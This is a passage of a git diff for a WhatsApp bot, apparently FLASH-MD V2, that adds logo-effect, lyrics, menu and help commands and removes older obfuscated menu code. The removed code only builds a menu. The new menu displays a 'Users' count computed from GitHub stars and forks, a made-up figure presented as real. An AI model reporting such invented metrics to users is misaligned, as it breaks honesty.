while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'purple', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a purple text effect.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .purple YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/purple-text-effect-online-100.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, +{ + name: 'gold', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a modern gold text effect.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .gold YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/modern-gold-4-213.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'arena', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate Arena of Valor-style cover text.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .arena YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/create-cover-arena-of-valor-by-mastering-360.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'incandescent', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate incandescent bulb text effect.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .incandescent YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/text-effects-incandescent-bulbs-219.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'child', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Write text on wet glass style.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .child YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/write-text-on-wet-glass-online-589.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + + { + name: 'typo', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate typography text on pavement.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .typo YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/typography-text-effect-on-pavement-online-774.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'light', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate futuristic light technology style text.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .light YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/light-text-effect-futuristic-technology-style-648.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'steel', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate dragon steel text effect.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .steel YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/dragon-steel-text-effect-online-347.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'sunlight', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a sunlight shadow text effect.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .sunlight YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/sunlight-shadow-text-204.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'frozen', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a frozen Christmas text effect.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .frozen YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/create-a-frozen-christmas-text-effect-online-792.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'leaves', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a green brush text effect.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .leaves YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/green-brush-text-effect-typography-maker-online-153.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + + { + name: 'night', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a stars-at-night style logo.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = 'Example: .night YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/stars-night-online-1-85.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } + } +]; diff --git a/commands/Lyrics.js b/commands/Lyrics.js new file mode 100644 index 00000000..3f7030ad --- /dev/null +++ b/commands/Lyrics.js @@ -0,0 +1,64 @@ +const axios = require('axios'); +const { franceking } = require('../main'); + +module.exports = { + name: 'lyrics', + description: 'Fetch and display lyrics of a song.', + category: 'Search', + get flashOnly() { + return franceking(); + }, + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const query = args.join(' '); + + if (!query) { + return king.sendMessage(fromJid, { + text: 'Please provide a song name and artist...\nEg: lyrics not afraid Eminem' + }, { quoted: msg }); + } + + try { + const apiURL = `https://lyricsapi.fly.dev/api/lyrics?q=${encodeURIComponent(query)}`; + const res = await axios.get(apiURL); + const data = res.data; + + if (!data.success || !data.result || !data.result.lyrics) { + return king.sendMessage(fromJid, { + text: 'Lyrics not found for the provided query.' + }, { quoted: msg }); + } + + const { title, artist, image, link, lyrics } = data.result; + const shortLyrics = lyrics.length > 4096 ? lyrics.slice(0, 4093) + '...' : lyrics; + + const caption = + `🎶 *FLASH-MD LYRICS!*\n\n` + + `*Title:* ${title}\n` + + `*Artist:* ${artist}\n` + + `*Link:* ${link}\n\n` + + `📜 *Lyrics:*\n\n` + + `${shortLyrics}`; + + await king.sendMessage(fromJid, { + image: { url: image }, + caption, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + } catch (err) { + console.error('[LYRICS ERROR]', err); + await king.sendMessage(fromJid, { + text: 'An error occurred while fetching lyrics. Please try again later.' + }, { quoted: msg }); + } + } +}; diff --git a/commands/Menu.js b/commands/Menu.js index 0685e394..38fa4a3f 100644 --- a/commands/Menu.js +++ b/commands/Menu.js @@ -1,21 +1,200 @@ +const { franceking } = require('../main'); +const os = require('os'); +const moment = require('moment-timezone'); +const config = require('../config.js'); +const axios = require('axios'); +const startTime = Date.now(); -/** +const styles = { + 10: { + "a": "ᴀ", "b": "ʙ", "c": "ᴄ", "d": "ᴅ", "e": "ᴇ", "f": "ғ", "g": "ɢ", "h": "ʜ", "i": "ɪ", "j": "ᴊ", + "k": "ᴋ", "l": "ʟ", "m": "ᴍ", "n": "ɴ", "o": "ᴏ", "p": "ᴘ", "q": "ϙ", "r": "ʀ", "s": "s", "t": "ᴛ", + "u": "ᴜ", "v": "v", "w": "ᴡ", "x": "x", "y": "ʏ", "z": "ᴢ", + "A": "ᴀ", "B": "ʙ", "C": "ᴄ", "D": "ᴅ", "E": "ᴇ", "F": "ғ", "G": "ɢ", "H": "ʜ", "I": "ɪ", "J": "ᴊ", + "K": "ᴋ", "L": "ʟ", "M": "ᴍ", "N": "ɴ", "O": "ᴏ", "P": "ᴘ", "Q": "ϙ", "R": "ʀ", "S": "s", "T": "ᴛ", + "U": "ᴜ", "V": "v", "W": "ᴡ", "X": "x", "Y": "ʏ", "Z": "ᴢ" + } +}; -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ +const applyStyle = (text, styleNum) => { + const map = styles[styleNum]; + return text.split('').map(c => map[c] || c).join(''); +}; - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ +const formatUptime = ms => { + const sec = Math.floor(ms / 1000) % 60; + const min = Math.floor(ms / (1000 * 60)) % 60; + const hr = Math.floor(ms / (1000 * 60 * 60)) % 24; + const day = Math.floor(ms / (1000 * 60 * 60 * 24)); + const parts = []; + if (day === 1) parts.push(`1 day`); + else if (day > 1) parts.push(`${day} days`); + if (hr === 1) parts.push(`1 hour`); + else if (hr > 1) parts.push(`${hr} h`); + if (min === 1) parts.push(`1 minute`); + else if (min > 1) parts.push(`${min} m`); + if (sec === 1) parts.push(`1 second`); + else if (sec > 1 || parts.length === 0) parts.push(`${sec} s`); + return parts.join(', '); +}; +const detectPlatform = () => { + const hostEnv = process.env.HOST_PROVIDER?.toLowerCase(); + const providers = { + 'optiklink': 'Optiklink.com', + 'bot-hosting': 'Bot-Hosting.net', + 'heroku': 'Heroku', + 'railway': 'Railway', + 'koyeb': 'Koyeb', + 'render': 'Render', + 'github': 'GitHub Actions', + 'katabump': 'Katabump.com' + }; + if (hostEnv && providers[hostEnv]) return providers[hostEnv]; + if (process.env.RAILWAY_STATIC_URL || process.env.RAILWAY_ENVIRONMENT) return 'Railway'; + if (process.env.KOYEB_ENV) return 'Koyeb'; + if (process.env.RENDER) return 'Render'; + if (process.env.GITHUB_WORKFLOW || process.env.GITHUB_ACTIONS) return 'GitHub Actions'; + if (process.env.DYNO) return 'Heroku'; + return 'Unknown (Linux)'; +}; +const fetchRepoStats = async () => { + try { + const response = await axios.get('https://api.github.com/repos/franceking1/Flash-Md-V2'); + const { forks_count, stargazers_count } = response.data; + return { + forks: forks_count || 0, + stars: stargazers_count || 0 + }; + } catch { + return { forks: 0, stars: 0 }; + } +}; +module.exports = [ + { + name: 'menu', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Displays categorized list of commands', + category: 'General', + execute: async (king, msg, args, fromJid, allCommands) => { + const time = moment().tz(config.timezone || 'Africa/Lagos'); + const uptime = formatUptime(Date.now() - startTime); + const platform = detectPlatform(); + const usedMem = ((os.totalmem() - os.freemem()) / 1024 / 1024 / 1024).toFixed(2); + const totalMem = (os.totalmem() / 1024 / 1024 / 1024).toFixed(2); + const { forks, stars } = await fetchRepoStats(); + const users = (stars * 3) + (forks * 2); + const usersFormatted = users.toLocaleString(); + const starsFormatted = stars.toLocaleString(); + const forksFormatted = forks.toLocaleString(); + const prefix = config.prefixes.join(', ') || ''; + const botOwner = config.ON || 'Unknown'; + const categorized = {}; + for (const cmd of allCommands) { + const category = cmd.category ? cmd.category.toUpperCase() : 'GENERAL'; + if (!categorized[category]) categorized[category] = []; + categorized[category].push(cmd); + } + let text = `╭━━━❒ ${applyStyle("FLASH-MD System INFO", 10)} ❒━━━╮\n`; + text += `┃ 🧩 *Commands:* ${allCommands.length.toLocaleString()}\n`; + text += `┃ 🪄 *Prefix:* ${prefix}\n`; + text += `┃ ⏰ *Time:* ${time.format('HH:mm:ss')}\n`; + text += `┃ 🌍 *Timezone:* ${config.timezone || 'Africa/Lagos'}\n`; + text += `┃ 📅 *Date:* ${time.format('DD/MM/YYYY')}\n`; + text += `┃ 🔋 *Uptime:* ${uptime}\n`; + text += `┃ 💻 *Platform:* ${platform}\n`; + text += `┃ 💾 *RAM:* ${usedMem}/${totalMem} GB\n`; + text += `┃ 👥 *Users:* ${usersFormatted}\n`; + text += `┃ 👑 *Owner:* ${botOwner}\n`; + text += `╰━━━━━━❒ ${applyStyle("Version 2.5", 10)} ❒━━━━━╯\n\n`; -function _0xc173(){const _0x547251=['\x0a╭────✧𝐅𝐋𝐀𝐒𝐇-𝐌𝐃✧────◆\x0a┃❃╭──────────────\x0a┃❃│\x20Prefix\x20:\x20','toLocaleLowerCase','totalmem','/../framework/mesfonctions','length','sendMessage','120yNTMuJ','\x20minute,\x20','\x20\x20\x0a┃❃│\x20Platform\x20:\x20Linux\x0a┃❃│\x20Date\x20:\x20','Je\x20suis\x20*Zokou-MD*,\x20développé\x20par\x20Djalega++','/../framework/france','10256AaXKyf','☢️☉⁠⊷*','\x20\x0a┃❃│\x20Mode\x20:\x20','1368dINUxu','util','DD/MM/YYYY','567628aTcEkV','63RDgpXX','\x20\x20\x0a\x0a*◇\x20FLASH-MD\x20COMMANDS\x20◇*\x0a','/../set','\x0a◇\x20*THE\x20FLASH\x20MULTI\x20DEVICE*\x20◇\x0a\x0a\x20\x20\x20*Released:\x2022.2.2024*\x0a\x20\x20\x20\x0a\x20_Thanks\x20For\x20choosing\x20FLASH-MD_\x0a\x0a\x20\x20Created\x20by\x20*France\x20King\x20©²0²⁴*\x20\x0a\x20\x20\x0a\x20\x20\x20\x20\x20*KEEP\x20USING\x20FLASH-MD*\x0a','\x0a*╭────☉⁠☢️⁠⁠','yes','\x0a*╰═════════════⊷*\x0a','84992bOtoCj','\x0a┃❃│\x20Time\x20:\x20','🥵🥵\x20Menu\x20erreur\x20','categorie','/../framework//france','143199OptWGb','\x20m,\x20','moment-timezone','freemem','map','Africa/Nairobi','\x20\x20\x0a┃❃│\x20Ram\x20:\x20','183520qoZeVL','log','\x20\x0a┃❃│\x20User\x20:\x20\x20','match','\x20day,\x20','\x20second','5UnRUhb','\x0a┃❃│\x20Commands\x20:\x20','248259kKfGqk','setDefault','fs-extra','HH:mm:ss','push','uptime','PREFIXE','23358NvVTNZ','\x20hour,\x20','floor','\x20d,\x20','\x20h,\x20'];_0xc173=function(){return _0x547251;};return _0xc173();}const _0x30987f=_0x6eb6;(function(_0x1f6341,_0x27c8d5){const _0x38b4e6=_0x6eb6,_0xac1303=_0x1f6341();while(!![]){try{const _0x26a2a1=-parseInt(_0x38b4e6(0xd1))/0x1+-parseInt(_0x38b4e6(0xc5))/0x2+parseInt(_0x38b4e6(0xca))/0x3+-parseInt(_0x38b4e6(0xbd))/0x4*(parseInt(_0x38b4e6(0xd7))/0x5)+-parseInt(_0x38b4e6(0xe0))/0x6*(parseInt(_0x38b4e6(0xbe))/0x7)+parseInt(_0x38b4e6(0xb7))/0x8*(parseInt(_0x38b4e6(0xba))/0x9)+-parseInt(_0x38b4e6(0xb2))/0xa*(-parseInt(_0x38b4e6(0xd9))/0xb);if(_0x26a2a1===_0x27c8d5)break;else _0xac1303['push'](_0xac1303['shift']());}catch(_0xfcf192){_0xac1303['push'](_0xac1303['shift']());}}}(_0xc173,0x1af81));function _0x6eb6(_0x2b2ede,_0x4d16be){const _0xc17327=_0xc173();return _0x6eb6=function(_0x6eb65b,_0x5a20b2){_0x6eb65b=_0x6eb65b-0xa9;let _0x2e6c32=_0xc17327[_0x6eb65b];return _0x2e6c32;},_0x6eb6(_0x2b2ede,_0x4d16be);}const util=require(_0x30987f(0xbb)),fs=require(_0x30987f(0xdb)),{france}=require(__dirname+_0x30987f(0xb6)),{format}=require(__dirname+_0x30987f(0xaf)),os=require('os'),moment=require(_0x30987f(0xcc)),s=require(__dirname+_0x30987f(0xc0)),runtime=function(_0x187d57){const _0x8c43cb=_0x30987f;_0x187d57=Number(_0x187d57);var _0x51404e=Math[_0x8c43cb(0xa9)](_0x187d57/(0xe10*0x18)),_0x58c8d1=Math[_0x8c43cb(0xa9)](_0x187d57%(0xe10*0x18)/0xe10),_0x57bf9d=Math[_0x8c43cb(0xa9)](_0x187d57%0xe10/0x3c),_0x35ceb8=Math[_0x8c43cb(0xa9)](_0x187d57%0x3c),_0x3f79b4=_0x51404e>0x0?_0x51404e+(_0x51404e==0x1?_0x8c43cb(0xd5):_0x8c43cb(0xaa)):'',_0x5a1732=_0x58c8d1>0x0?_0x58c8d1+(_0x58c8d1==0x1?_0x8c43cb(0xe1):_0x8c43cb(0xab)):'',_0x46f788=_0x57bf9d>0x0?_0x57bf9d+(_0x57bf9d==0x1?_0x8c43cb(0xb3):_0x8c43cb(0xcb)):'',_0x58b7fc=_0x35ceb8>0x0?_0x35ceb8+(_0x35ceb8==0x1?_0x8c43cb(0xd6):'\x20s'):'';return _0x3f79b4+_0x5a1732+_0x46f788+_0x58b7fc;};france({'nomCom':'menu','categorie':'General'},async(_0x2af0de,_0x28cc0e,_0x22e922)=>{const _0x2315ef=_0x30987f;let {ms:_0x1dbe0a,repondre:_0x1a90f5,prefixe:_0x529d5f,nomAuteurMessage:_0x48a190,mybotpic:_0x85aec2}=_0x22e922,{cm:_0x579468}=require(__dirname+_0x2315ef(0xc9));var _0x3085ff={},_0xbafdb7='public';s['MODE'][_0x2315ef(0xad)]()!=_0x2315ef(0xc3)&&(_0xbafdb7='private');_0x579468[_0x2315ef(0xce)](async(_0x37d146,_0x55f207)=>{const _0x44f959=_0x2315ef;if(!_0x3085ff[_0x37d146['categorie']])_0x3085ff[_0x37d146[_0x44f959(0xc8)]]=[];_0x3085ff[_0x37d146[_0x44f959(0xc8)]][_0x44f959(0xdd)](_0x37d146['nomCom']);}),moment['tz'][_0x2315ef(0xda)](_0x2315ef(0xcf));const _0x3f94de=moment()['format'](_0x2315ef(0xdc)),_0x3ad85b=moment()['format'](_0x2315ef(0xbc));let _0x466c1b=_0x2315ef(0xac)+s[_0x2315ef(0xdf)]+_0x2315ef(0xd3)+s['OWNER_NAME']+_0x2315ef(0xc6)+_0x3f94de+_0x2315ef(0xb4)+_0x3ad85b+_0x2315ef(0xb9)+_0xbafdb7+_0x2315ef(0xd8)+_0x579468[_0x2315ef(0xb0)]+_0x2315ef(0xd0)+format(os[_0x2315ef(0xae)]()-os[_0x2315ef(0xcd)]())+'/'+format(os[_0x2315ef(0xae)]())+'\x20\x0a┃❃│\x20Uptime\x20:\x20'+runtime(process[_0x2315ef(0xde)]())+'\x20\x0a┃❃╰───────────────\x0a╰─────✧The-GOAT✧─────◆\x20\x0a',_0x3c7fea=_0x2315ef(0xbf);for(const _0xafd2d0 in _0x3085ff){_0x3c7fea+=_0x2315ef(0xc2)+_0xafd2d0+_0x2315ef(0xb8);for(const _0x1430ff of _0x3085ff[_0xafd2d0]){_0x3c7fea+='\x20\x0a*│❒⁠⁠⁠⁠'+_0x1430ff+'*';}_0x3c7fea+=_0x2315ef(0xc4);}_0x3c7fea+=_0x2315ef(0xc1);var _0x2af193=_0x85aec2();if(_0x2af193['match'](/\.(mp4|gif)$/i))try{_0x28cc0e[_0x2315ef(0xb1)](_0x2af0de,{'video':{'url':_0x2af193},'caption':_0x466c1b+_0x3c7fea,'footer':_0x2315ef(0xb5),'gifPlayback':!![]},{'quoted':_0x1dbe0a});}catch(_0x515206){console[_0x2315ef(0xd2)](_0x2315ef(0xc7)+_0x515206),_0x1a90f5(_0x2315ef(0xc7)+_0x515206);}else{if(_0x2af193[_0x2315ef(0xd4)](/\.(jpeg|png|jpg)$/i))try{_0x28cc0e['sendMessage'](_0x2af0de,{'image':{'url':_0x2af193},'caption':_0x466c1b+_0x3c7fea,'footer':'*📌France\x20King*'},{'quoted':_0x1dbe0a});}catch(_0x196b3d){console[_0x2315ef(0xd2)](_0x2315ef(0xc7)+_0x196b3d),_0x1a90f5(_0x2315ef(0xc7)+_0x196b3d);}else _0x1a90f5(_0x466c1b+_0x3c7fea);}}); + let counter = 1; + const sortedCategories = Object.keys(categorized).sort(); + for (const category of sortedCategories) { + const commandsInCategory = categorized[category] + .filter(c => c.name) + .sort((a, b) => a.name.localeCompare(b.name)); + if (commandsInCategory.length === 0) continue; + text += `*╭──❒ ${applyStyle(category, 10)} ❒───⊷*\n`; + text += `│╭────────────\n`; + for (const cmd of commandsInCategory) { + text += `││ ${counter++}. ${applyStyle(cmd.name, 10)}\n`; + } + text += `│╰────────────\n`; + text += `╰══════════════⊷\n\n`; +} + + await king.sendMessage(fromJid, { + text, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }); + } + }, + + { + name: 'help', + get flashOnly() { + return franceking(); +}, + aliases: ['list'], + description: 'Provides help and guide for new users', + category: 'General', + execute: async (sock, msg, args, fromJid, allCommands) => { + const prefix = Array.isArray(config.prefixes) && config.prefixes.length > 0 ? config.prefixes[0] : '.'; + let text = `*🛠️ FLASH-MD-V2 USER GUIDE*\n\n`; + text += `To use the bot:\n`; + text += `• Start commands with the prefix *${prefix}*\n`; + text += `• Use ${prefix}menu to view all available commands\n`; + text += `*COMMANDS LIST:*\n\n`; + + const categorized = {}; + for (const cmd of allCommands) { + const category = cmd.category ? cmd.category.toUpperCase() : 'GENERAL'; + if (!categorized[category]) categorized[category] = []; + categorized[category].push(cmd); + } + + for (const [cat, cmds] of Object.entries(categorized)) { + if (cmds.length === 0) continue; + text += `📂 *${cat}*\n`; + for (const cmd of cmds) { + text += `• *${cmd.name}* - ${cmd.description}`; + if (cmd.aliases && cmd.aliases.length > 0) { + text += ` (Aliases: ${cmd.aliases.join(', ')})`; + } + text += `\n`; + } + text += `\n`; + } + + await sock.sendMessage(fromJid, { + text, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }); + } + } +]; diff --git a/commands/Mods.js b/commands/Mods.js deleted file mode 100644 index d9727278..00000000 --- a/commands/Mods.js +++ /dev/null @@ -1,20 +0,0 @@ - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - -const _0x55878c=_0x2a51;function _0x2a51(_0x66bb5,_0x33524c){const _0x38842c=_0x3884();return _0x2a51=function(_0x2a51e2,_0x507413){_0x2a51e2=_0x2a51e2-0x168;let _0x4a6846=_0x38842c[_0x2a51e2];return _0x4a6846;},_0x2a51(_0x66bb5,_0x33524c);}(function(_0x14c32b,_0x1448ed){const _0x1c407e=_0x2a51,_0x195784=_0x14c32b();while(!![]){try{const 